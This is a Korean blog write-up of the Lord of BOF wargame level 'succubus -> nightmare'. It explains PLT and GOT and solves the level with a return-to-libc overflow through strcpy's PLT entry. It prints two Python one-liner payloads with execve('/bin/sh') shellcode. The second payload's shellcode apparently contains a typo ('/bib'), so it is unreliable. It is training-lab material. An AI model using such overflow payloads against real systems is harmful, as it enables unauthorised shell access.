nemo의 이야기

BOF원정대 succubus -> nightmare 본문

Information security/System security

BOF원정대 succubus -> nightmare

nemojjong 2018. 3. 11. 15:58

 

위 소스 코드를 확인해보면 ret부분에 strcpy 함수의 인지를 확인 한다.

 

먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다. 이 plt의 strcpy의 참조 주소를 이요해 RTL로 문제를 풀면 될 것이다.

 

PLT는 허출하려는 함수와 GOT를 연결하는 것이고

 

GOT는 실제 라이브러리 함수의 주소이고 함수가 처음 호출 될 떄 주소가 계산된다(PTL)

 

리눅스는 윈도우와  다르게 실행할 경우 주소가 정해진다.

 

우선 strcpy의 PTL주소를 확인을 하자

 

 

strcpy : 8048410

 

이제 조건에 건너뛰는지 확인하기 위해서 strcpy주소를 제대로 넣고 더미로 공격을 한다.

 

$(python -c 'print "A" *44 + "\x10\x84\x04\x08" + "BBBB" +"CCCC" +"DDDD" + " "  + "\x31\xd2\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x52\x50\x89\xc3\x31\xc0\xb0\x0b\x89\xe1\xcd\x80" + "A" *19 + "FFFF"')

 

이제 buffer에 주소와 argv[2]에 주소를 확인 해보자

 

 

argv[2] : bffffc30

 

 

buffer : bffffa70

 

이제 공격 코드를 작성해보자

 

./nightmare $(python -c 'print "A" *44 + "\x10\x84\x04\x08" + "BBBB" +"\x70\xfa\xff\xbf" +"\x30\xfc\xff\xbf" + " " + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x62\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A" * 24 + "\x30\xfc\xff\xbf"')

 

 

 

 

 

 

Comments